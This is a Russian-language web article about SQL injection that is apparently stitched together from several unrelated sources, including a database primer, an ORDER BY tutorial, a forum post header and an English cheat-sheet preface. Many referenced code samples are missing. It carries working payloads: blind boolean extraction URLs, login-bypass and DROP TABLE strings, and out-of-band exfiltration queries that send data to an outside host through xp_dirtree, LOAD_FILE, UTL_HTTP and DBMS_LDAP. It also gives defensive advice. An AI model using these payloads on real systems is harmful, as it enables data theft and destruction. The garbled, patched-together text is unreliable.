Что такое sql-атаки и как с ними бороться?

Что такое база данных

Итак, что такое база данных? Этот термин широко применим в повседневной жизни. Что неудивительно, ведь по сути, база данных — это просто хранилище упорядоченной информации. Мы же, применительно к SQL, будем рассматривать базу данных как контейнер для информации в виде одного или нескольких файлов. Также надо знать, что программное обеспечение которое управляет базой данных называется СУБД т.е система управления базой данных.

Ещё один момент который нужно понимать это структура базы данных. Здесь тоже ничего сложного. База данных состоит из трех элементов: таблица, строка и столбец. Ну и пару слов о них.

Таблица — это основной структурный элемент базы данных. При чем в одной базе может быть несколько таблиц. С точки зрения безопасности и удобства использования считается правильным хранить в каждой таблице только определенный тип данных. При создании таблицы нужно присвоить ей уникальное имя. В одной базе не может быть таблиц с одинаковыми именами, также нужно указать из каких столбцов она состоит и тоже присвоить им имена.

Столбец (колонка) — это структурный элемент уже таблицы. Для каждого столбца нужно указать какой именно тип данных разрешено в нем хранить. Это может быть текст, числа, диапазоны чисел, файлы, логические значения и т.д.

Каждой записи в таблице соответствует отдельная строка. Т.е. по сути строка — это отдельная запись в таблице. Каждой строке должен быть присвоен так называемый «первичный ключ» — это уникальный идентификатор строки. Он позволяет в последствии обращаться именно к этой строке. В принципе любой столбец может выступать первичным ключом. Главное соблюдать некоторые правила: он должен быть уникальным для каждой строки и должен обязательно иметь какое-либо присвоенное значение (он не может быть null), и его нельзя менять.

Защита сайта от sql инъекций на уровне PHP

Защита от sql атак может выполняться различными способами

Первое, на что стоит обратить внимание и что очень важно — это чтобы программист уже во время написания кода занимался экранированием кавычек с помощью таких функций, как mysql_real_escape_string или mysqli_real_escape_string. Если каждая переменная, которая используется в запросах к базе будет профильтрована ими, программистом или на уровне CMS, то никаких проблем не возникнет

Но почему же на протяжении последних 14 лет все еще случаются атаки на SQL? Все просто. Программисты ленивы, а делать небезопасные запросы к базе так просто, в то время как безопасные — более сложны. Во всяком случае, сложнее, чем небезопасные.

Эксплуатация уязвимости

При проверке скрипта на уязвимость к SQL-инъекции мы вводили вполне предсказуемое условие: 1=1 всегда истинно. Однако, когда мы пытаемся использовать эту уязвимость, мы не знаем является условие истинным или ложным. Если запись возвращается, то вводимое условие должно быть истинным. Тем самым мы может использовать такое поведение и «спрашивать» сервер. Например, следующий запрос «спрашивает» сервер баз данных: «Является ли текущий пользователь dbo?»:

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND USER_NAME() = ‘dbo’

USER_NAME() — это функция SQL-сервера, которая возвращает имя текущего пользователя. Если текущий пользователь dbo (администратор), пятый пресс-релиз будет возвращен. Если нет, то запрос не удастся, и пресс-релиз не будет отображаться.

Объединив подзапросы и функции, можно задавать более сложные вопросы. В следующем примере попытаемся получить имя таблицы базы данных, по одному символу за раз:

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1))) > 109

Подзапрос (SELECT) запрашивает имя первой таблицы для данного пользователя баз данных. Функция substring() вернет первый символ результата, а lower() преобразует символ в нижний регистр. Наконец, ascii() вернет ASCII-код этого символа. Если сервер возвращает пятый пресс-релиз в ответ на эту ссылку, мы знаем, что первая буква результата запроса находится после буквы «m» (109 символ ASCII) в алфавите. Сделав несколько подобных запросов можно определить точное значение ASCII символа.

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1))) > 116

Если пресс-релиз не возвращается, значение ASCII больше 109, но не больше 116. Следовательно символ между «n» (110) и «t» (116).

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1))) > 113

Если и этот запрос ложный, тогда символ находится между 110 и 113.

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1))) > 111

Опять ложный. Диапазон сузился до двух букв: «N» (110) и «O» (111).

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1))) = 111

В точку! Сервер вернул результат, а это значит что первая буква в имени таблицы «O». Чтобы получить вторую букву следует повторить процесс, но для этого надо изменить второй аргумент для substring():

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 2, 1))) > 109

И так далее, шаг за шагом можно получить всю строку.

Как видите, простое отключение сообщений об ошибках сервера не предоставляет достаточной защиты от SQL-инъекций.

SQL в Веб странице

Инъекция SQL обычно происходит, когда вы просите пользователя ввести данные,
например его имя пользователя/идентификатор пользователя, и вместо имени/идентификатора пользователь дает вам инструкцию SQL,
которую вы неосознанно запускаете к своей базе данных.

Посмотрите на следующий пример, который создает оператор SELECT, добавляя переменную (txtUserId) в строку select.
Переменная извлекается из пользовательского ввода (getRequestString):

Пример

txtUserId = getRequestString(«UserId»);txtSQL = «SELECT *
FROM Users WHERE UserId = » + txtUserId;

Остальная часть этой главы описывает потенциальные опасности использования пользовательского ввода в инструкции SQL.

Борьба с SQL-инъекциями

Рекомендуемым способом борьбы с SQL-инъекциями считаются параметризованные запросы. Суть их использования состоит в том, что подстановка внешних данных в шаблон запроса производится не напрямую, а через специализированное API. Сформированный таким образом запрос будет безопасным, так как внешние данные перед фактической подстановкой будут преобразованы.

Способы работы с параметризованными запросами в различных языках программирования могут отличаться, однако основная идея остаётся неизменной. К примеру, в C# формирование запроса с параметрами может производиться следующим образом:

Такой подход обеспечивает безопасность использования внешних данных при формировании запросов к базе. Тем не менее, существуют и другие методы борьбы с SQL-инъекциями. К примеру, можно использовать специальную систему валидации внешних данных, которая позволит обнаруживать в них фрагменты SQL-команд, либо преобразовывать данные в безопасный вид с помощью различных функций. В отдельных случаях могут подойти и более простые подходы, такие как проверка типов переданных значений.

Методы Борьбы С Повреждениями

В качестве хорошей практики безопасности мы всегда должны реализовывать несколько уровней защиты – концепция, известная как глубокая защита . Основная идея заключается в том, что даже если мы не сможем найти все возможные уязвимости в нашем коде – обычный сценарий при работе с устаревшими системами – мы должны, по крайней мере, попытаться ограничить ущерб, который может нанести атака.

Конечно, это было бы темой для целой статьи или даже книги, но давайте назовем несколько мер:

  1. Примените принцип наименьших привилегий: Максимально ограничьте привилегии учетной записи, используемой для доступа к базе данных
  2. Используйте методы, относящиеся к конкретной базе данных, доступные для добавления дополнительного уровня защиты; например, база данных H2 имеет параметр уровня сеанса, который отключает все литеральные значения в запросах SQL
  3. Используйте кратковременные учетные данные: Заставьте приложение часто менять учетные данные базы данных; хороший способ реализовать это с помощью Spring Cloud Vault
  4. Регистрируйте все: Если приложение хранит данные клиентов, это необходимо; существует множество доступных решений, которые интегрируются непосредственно в базу данных или работают в качестве прокси-сервера, поэтому в случае атаки мы можем, по крайней мере, оценить ущерб
  5. Используйте WAFs или аналогичные решения для обнаружения вторжений: это типичные примеры blacklist – обычно они поставляются с большой базой данных известных сигнатур атак и запускают программируемое действие при обнаружении. Некоторые также включают в себя агенты в JVM, которые могут обнаруживать вторжения с помощью некоторых инструментов-основное преимущество этого подхода заключается в том, что возможную уязвимость становится намного легче исправить, поскольку у нас будет доступна полная трассировка стека.

Основные методы эксплуатации SQL-injection

Union Based SQL-injection — применяется, если SQL-injection возникает в SELECT запросе. Благодаря данному методу можно объединить два SELECT запроса в один набор результатов. Особенность этого метода заключается в том, что он будет работать только в том случае, если количество столбцов, возвращаемых первым запросом, будет равно количеству столбцов, возвращаемых во втором запросе.

Для определения количества столбцов можно воспользоваться 3 методами:

добавление нового столбца при каждой итерации проверки, что не совсем удобно, так как столбцов может быть 20,30,50 и т.д.:

и т.д.

Почему используется значение NULL? Все просто, типы данных в каждом столбце должны быть совместимы между исходным и внедренным запросами. Поскольку NULL может быть преобразован во все часто используемые типы данных, его использование увеличивает вероятность успешного выполнения полезной нагрузки при правильном подсчете столбцов.

использование команды order by для определение количества столбцов. В этом случае нужно опираться на появление ошибки о несоответствии количества столбцов в запросе. Стоит начать с большого количества столбцов и уменьшать их вдвое при каждой итерации проверки. Если количество столбцов не будет соответствовать фактическому значению, то вернется ошибка

и т.д.

использование команды group by, который основывается на обратном методе проверки, в отличие от order by.

Boolean Based SQL-injection — метод эксплуатации слепых инъекций. Информация извлекается исходя из реакции на условные выражения. Инъекция называется слепой в тех случаях, если нет никакой видимой реакции от веб-приложения. Например, при подстановке кавычек в потенциально уязвимый параметр, ошибка, связанная с нарушением логики SQL-запроса, не появляется, а страница отображается без изменений. Но тут, как уже говорилось ранее, несколько вариантов: либо входные параметры фильтруются и уязвимости нет, либо на сервере отключен вывод ошибок на странице.

Пример:

Вместе с запросом указывается некоторое условие. Условие может быть как истинным, так и ложным. Если оба условия выполняются одновременно, то, запрос отработает корректно, в противном случае запрос не будет выполнен.

Error Based SQL-injection — данный метод позволяет получить информацию из базы данных в тексте ошибки.

Для поиска такого рода инъекций можно воспользоваться следующими примерами:

В первом варианте 0X01 будет являться действительным числом, но в языке PHP, а не MySQL, что вызовет ошибку последнего. Во втором варианте число будет преобразовано в INF, что также будет являться действительным числом для PHP, но не для MySQL.

Time Based SQL-injection — используются команды СУБД (например, sleep) , вызывающие задержку ответа от базы данных. Метод также используется для эксплуатации слепых инъекций, когда отсутствует какой-либо вывод информации, в том числе в случаях, описанных в Boolean Based SQL-injection.

Пример:

В этом примере добавляется задержка 20 секунд в виде команды sleep(20) для базы данных, которая создаст задержку перед ответом, что соответственно отразится и на времени ответа веб-приложения. Также для этих целей можно использовать и другие команды, например, benchmark или waitfor:

Пример, где по длительному ответу от базы данных можно определить, что первый символ значения user_password для пользователя с id=1 будет равняться «2» т.к. char(50) является цифрой 2:

Команда benchmark, в случае верного условия, выполнит функцию ENCODE 50000 раз, что вызовет задержку ответа, по которой и определяется наличие SQL-инъекции.

Пример взлома сайта

Это лишь один из путей хакеров при монетизации сайтов. Их десятки: вирусы, дорвеи, редиректы, дополнительная реклама, невидимая sape на вашем сайте… и многое другое… Если вам это будет интересно, я с радостью напишу подробную статью на этот счет, пишите в комментарии.

Мы с вами пришли к выводу, что имея более-менее значимый проект, нельзя допускать уязвимость. Иначе в самый неподходящий момент это может привести к тяжелым последствиям. Хорошо, с этим разобрались, а что же делать? Для профессионального аудита стоит обратиться к профильным компаниям, но проверить элементарные SQL-уязвимости теперь вы можете и самостоятельно. Зачастую хакеры проверяют уязвимости автоматически, и, закрыв базовые уязвимости, вы сможете спасти свой сайт от взора хакера.

Эксплуатации SQL-инъекции

Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

  • Балансировка
  • Внедрение
  • Комментирование

Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

Комментарии в MySQL начинаются с символов:

  • #
  • /*

Т.е. вместо

Demo' --

можно было бы ввести

Demo' #

Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

Demo' OR 1 --

то получится запрос

SELECT `name`, `status`, `books` FROM `members` WHERE name = ' Demo' OR 1 -- ' AND password ='111'

Уберём закомментированную часть:

SELECT `name`, `status`, `books` FROM `members` WHERE name = ' Demo' OR 1

Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

В нашем примере после введённого значения Demo мы ставили одинарную кавычку (‘), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

Для запросов с цифрой:

SELECT * FROM table_name WHERE id=1
SELECT * FROM table_name WHERE id='1'
SELECT * FROM table_name WHERE id="1"
SELECT * FROM table_name WHERE id=(1)
SELECT * FROM table_name WHERE id=('1')
SELECT * FROM table_name WHERE id=("1")

Для запросов со строкой:

SELECT * FROM table_name WHERE id='1'
SELECT * FROM table_name WHERE id="1"
SELECT * FROM table_name WHERE id=('1')
SELECT * FROM table_name WHERE id=("1")

В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

то имя пользователя

Demo' #

не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

Demo" #

Для такого запроса (используются одинарные кавычки и круглые скобки):

SELECT * FROM `members` WHERE name = ('$name') AND password = ('$password')

нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

Demo') #

Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

Далее перечень СУБД и вариантов выводимых ими ошибок:

Стиль ошибок MySQL:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Ошибка в MSSQL ASPX:

Server Error in '/' Application

Ошибка в MSAccess (Apache PHP):

Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine

Ошибка в MSAccesss (IIS ASP):

Microsoft JET Database Engine error '80040e14'

Ошибка в Oracle:

ORA-00933: SQL command not properly ended

Ошибка в ODBC:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

Ошибка в PostgreSQL:

PSQLException: ERROR: unterminated quoted string at or near "'" Position: 1
или
Query failed: ERROR: syntax error at or near
"'" at character 56 in /www/site/test.php on line 121.

Ошибка в MS SQL Server:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string

Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

Описание

Утверждается, что SQL-инъекция существует или имела место, когда мошеннический код SQL каким-то образом вставляется или «внедряется» в запрограммированный код SQL, чтобы нарушить нормальную работу программы и, таким образом, вызвать выполнение части кода. , в базе данных .

Этот тип вторжения обычно носит злонамеренный, вредоносный или шпионский характер, поэтому он представляет собой проблему компьютерной безопасности и должен учитываться разработчиком приложения , чтобы предотвратить его. Программа , разработанная небрежно, небрежно или с незнанием проблемы, может оказаться уязвимой, а безопасность системы (базы данных) в итоге может быть скомпрометирована.

Вторжение происходит во время выполнения уязвимой программы, либо на настольных компьютерах или на веб — сайтах , в последнем случае , очевидно , работает на сервере , на котором размещен их.

Уязвимость может возникать автоматически, когда программа «небрежно создает» оператор во время выполнения или на этапе разработки, когда программист делает оператор SQL незащищенным явным. В любом случае, всякий раз, когда программисту нужны и используются параметры, которые должны быть введены пользователем, для обращения к базе данных; поскольку именно в параметрах может быть включен навязчивый код SQL.

Когда запрос выполняется в отношении базы данных , нагнетаемый SQL — код также будет выполняться и может делать множество вещей, такие как вставка записи, изменение или удаление данных, авторизацию доступа и даже выполнение других типов вредоносного кода на компьютере.

Например, если предположить, что следующий код находится в веб-приложении и что существует параметр «имя пользователя», который содержит имя пользователя для запроса, внедрение SQL может быть запущено следующим образом:

Оригинальный и уязвимый код SQL

Если оператор напишет имя, например «Пепе», ничего необычного не произойдет, приложение сгенерирует оператор SQL, подобный следующему, что совершенно правильно, где все записи с именем «Пепе» в базе данных будут выбранные данные:

Но если злонамеренный оператор написан как имя пользователя для консультации:

, Следующий SQL-запрос будет генерироваться (зеленый цвет является то, что программист намерен, синь данные, и красный, нагнетаемый SQL код):

В базе данных запрос будет выполняться в заданном порядке, будут выбраны все записи с именем «Алиса», будет удалена таблица «пользователи» и, наконец, будет выбрана вся таблица «данные», что не должно быть доступным для обычных пользователей Интернета.

Короче говоря, любые данные в базе данных могут быть доступны для чтения или изменения злоумышленником.

Обратите внимание, почему это называется SQL -инъекцией. Если вы посмотрите на вредоносный код, окрашенный в красный цвет, вы заметите, что он вставлен в середину хорошего кода, окрашенного в зеленый цвет

Таким образом, красный код был « введен » в зеленый.

Внедрения SQL легко избежать со стороны программиста в большинстве языков программирования , позволяющих разрабатывать веб-приложения . Эта тема кратко обсуждается в следующем разделе.

Сортировка данных

Как видишь всё очень просто, а сложности начнутся если в таблице будет несколько тысяч записей. И помимо очевидной сложности связанной с размером, записи будут выводится в непредсказуемом порядке. Это связанно с тем как СУБД использует память, как и когда записи добавлялись или редактировались

Но почему это происходит нам не очень важно, а важно то что с этим делать. А потому нужно научится сортировке выводимых данных

Для того чтобы разобраться с сортировкой я добавил в нашу таблицу users_nick несколько записей. Самым простым способом сортировки является использование условий, например:

В этом запросе мы попросили железяку показать нам записи в таблице users_nick в которых, в столбце status присвоено значение user. При этом не забывай что в условии WHERE можно использовать логические операторы (AND/OR) и математические операторы сравнения (=, <, >, <=, >=, <>). Ну и не менее полезная штука, это поиск по шаблону. Потому что мы не всегда знаем какая точно запись нам нужна, для этого используется команда LIKE:

Таким способом мы нашли пользователя, в столбце «статус» которого есть буквы adm. Символ % означает любые символы в любом количестве (если нужно указать «один любой символ» используется нижнее подчеркивание _. Кстати, это называется метасимволы и их конечно больше чем два). В SQL есть ещё такая штука, которую программисты (а может ещё кто-то) называют инверсией. Это, типа наоборот. А если по правильному то это логический оператор означающий отрицание. Т.е. если в предыдущем примере перед LIKE написать NOT то в результате мы получим все записи в которых нет букв adm.

Также иногда нужно выбрать только уникальные значения в таблице. Для этого используется команда SELECT DISTINCT, так например введя:

мы получим все уникальные значения из столбца status таблицы users_nick.

ORDER BY

Также очень часто для сортировки данных используется команда ORDER BY. После которой мы должны указать имя одного или нескольких столбцов по которым и будут отсортированы выведенные данные. Самый простой пример её использования:

Здесь мы попросили отсортировать данные таблицы по столбцу nick. И в результате получили список пользователей в алфавитном порядке. Но это не единственны способ. Можно, например, отсортировать данные не в алфавитном порядке (по возрастанию — если цифровые), но и в обратном порядке (по убыванию — если цифровые). Для этого к названию столбца по которому фильтруем нужно дописать DESC.

Принцип действия атаки путем внедрения кода SQL

Основная форма атаки SQL Injection состоит в прямой вставке кода в пользовательские входные переменные, которые объединяются с командами SQL и выполняются. Менее явная атака внедряет небезопасный код в строки, предназначенные для хранения в таблице или в виде метаданных. Когда впоследствии сохраненные строки объединяются с динамической командой SQL, происходит выполнение небезопасного кода.

Атака осуществляется посредством преждевременного завершения текстовой строки и присоединения к ней новой команды. Поскольку к вставленной команде перед выполнением могут быть добавлены дополнительные строки, злоумышленник заканчивает внедряемую строку меткой комментария «—». Весь последующий текст во время выполнения не учитывается.

Следующий скрипт показывает простую атаку SQL Injection. Скрипт формирует SQL-запрос, выполняя объединение жестко запрограммированных строк со строкой, введенной пользователем:

Пользователю выводится запрос на ввод названия города. Если пользователь вводит , то запрос, построенный с помощью скрипта, выглядит приблизительно так:

Предположим, однако, что пользователь вводит следующее:

В этом случае запрос, построенный скриптом, будет следующим:

Точка с запятой «;» обозначает конец одного запроса и начало другого. А последовательность двух дефисов (—) означает, что остальная часть текущей строки является комментарием и не должна обрабатываться. Если измененный код будет синтаксически правилен, то он будет выполнен сервером. Когда SQL Server будет обрабатывать эту инструкцию, SQL Server прежде всего отберет все записи в , где является . Затем SQL Server удалит .

Если вставленный код SQL синтаксически верен, искаженные данные нельзя выявить программно. Поэтому необходимо проверять правильность всех вводимых пользователями данных, а также внимательно просматривать код, выполняющий созданные с помощью SQL команды на сервере. Рекомендуемые приемы программирования описываются в следующих подразделах этого раздела.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)Makes DNS resolution request to {INJECT}.yourhost.com
  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @qMakes DNS resolution request to {INJECTION}.yourhost.com{INJECTION} = You want to run the query.

MySQL

?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’))) Makes a NBNS query request/DNS resolution request to yourhost.com

?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)Writes data to your shared folder/file
{INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||») FROM DUAL)Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)You need to sniff dns resolution requests to yourhost.com

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)You need to sniff dns resolution requests to yourhost.com

    {INJECTION} = You want to run the query.

Экранирование значений

Что делать, если в SQL запрос требуется подставить строковое значение? Например, на сайте есть возможность поиска города по его названию. Форма поиска передаст поисковый запрос в GET-параметр, а мы используем его в SQL-запросе:

Но если в параметре будет символ кавычки, то смысл запроса можно кардинально изменить. Передав в search_text значение , мы выполним запрос, что выведет список всех городов:

Смысл запроса поменялся, потому что кавычка из параметра запроса считается управляющим символом: MySQL определяет окончание значение по символу кавычки после него, поэтому сами значения кавычки содержать не должны.
Очевидно, приведение к числовому типу не подходит для строковых значений. Поэтому, чтобы обезопасить строковое значение, используют операцию экранирования.

Экранирование добавляет в строке перед кавычками (и другими спецсимволами) знак обратного слэша .
Такая обработка лишает кавычки их статуса — они больше не определяют конец значения и не могут повлиять на логику SQL-выражения.

За экранирование значений отвечает функция .
Этот код обработает значение из параметра, сделав его безопасным для использования в запросе:

Атака

Теперь предположим, что пользователь — злоумышленник, и вводит в строке поиска не название продукта, а вредоносный фрагмент SQL-кода, например:

Тогда результирующий запрос будет иметь вид двух последовательных команд и одного комментария:

SELECT
    Id,
    Name,
    Price
FROM
    Products
WHERE
    Name LIKE '%a';

DROP TABLE Products;

-- %'

Комментарии в SQL имеют вид:

  1. это многострочный
  2. комментарий
  3. однострочный комментарий

Итак, что мы видим? Введенный пользователем текст в форме поиска превратил SQL-команду выбора продуктов из таблицы в два запроса: первый — бессмысленный, а второй — вредоносный, удаляющий таблицу продуктов из базы и делающий наше приложение (веб-сайт) нежизнеспособным.

Разумеется, это упрощенный пример, который предполагает, что команда, состоящая из нескольких запросов, будет выполнена как последовательность этих запросов, что данные пользователя не валидируются веб-фреймворком и так далее, но суть любой SQL-инъекции заключается именно в этом: злоумышленник внедряет («впрыскивает» — отсюда и название атаки «инъекция») вредоносный код в обычную форму ввода или в строку адреса, вынуждая веб-приложение произвести саморазрушительные действия или предоставить доступ внешнему атакующему к несанкционированным данным.

Приведение к целочисленному типу

В SQL-запросы часто подставляются целочисленные значения, полученные от пользователя. В примерах выше использовался идентификатор города, полученный из параметров запроса. Этот идентификатор можно принудительно привести к числу. Так мы исключим появление в нём опасных выражений. Если хакер передаст в этом параметре вместо числа SQL код, то результатом приведения будет ноль, и логика всего SQL-запроса не изменится.

PHP умеет присваивать переменной новый тип. Этот код принудительно назначит переменной целочисленный тип:

После преобразования переменную можно без опаски использовать в SQL-запросах.

SQL-инъекции’ union select null,null,null — +6

  • 16.02.21 10:37


pentestit-team

#542190

Хабрахабр

7800

Информационная безопасность, Тестирование веб-сервисов

Современные веб-приложения имеют сейчас довольно сложную структуру. Вместе с этим, для хранения информации стали активно использоваться базы данных на основе языка SQL. При обращении к какой-либо странице, веб-приложение формирует специальный SQL-запрос, который запрашивает в базе данных соответствующую запись. Результат запроса возвращается в веб-приложение, которое, в свою очередь, отображает его на странице браузера для пользователя.

Использовать подобную схему взаимодействия удобно, но вместе с этим, возрастает риск появления SQL-инъекций. Суть их работы заключается во внедрении собственного кода в SQL-запрос к базе данных с целью получить дополнительную информацию от нее.

Пожалуй, наиболее часто встречаются SQLi в SELECT запросах, так как данный тип запросов является самым распространенным, но, все же не ограничивается только им.

SQL-injection встречается:

  • в строковом параметре;

  • в числовом параметре.

Для числового параметра характерна обработка числовых данных, например, в параметре ID:

http://example.com/index.php?id=1

Если параметр не будет иметь фильтрацию, а код выглядит примерно так:

то при эксплуатации SQL-инъекции веб-приложение направит некорректный запрос в базу данных, например:

и в ответе от веб-приложения пользователь получит ошибку синтаксиса. Но если этого не произойдет, то здесь 2 варианта:

  • SQL-инъекции здесь нет — фильтруются кавычки, или просто стоит преобразование в целочисленный тип int;

  • отключен вывод ошибок.

В строковом параметре ситуация аналогичная, только вместо числового параметра будет строка:

http://example.com/index.php?user=admin’

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO’s blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences. Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server
Рейтинг
( Пока оценок нет )
Editor
Editor/ автор статьи

Давно интересуюсь темой. Мне нравится писать о том, в чём разбираюсь.

Понравилась статья? Поделиться с друзьями:
Люкс-хост
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: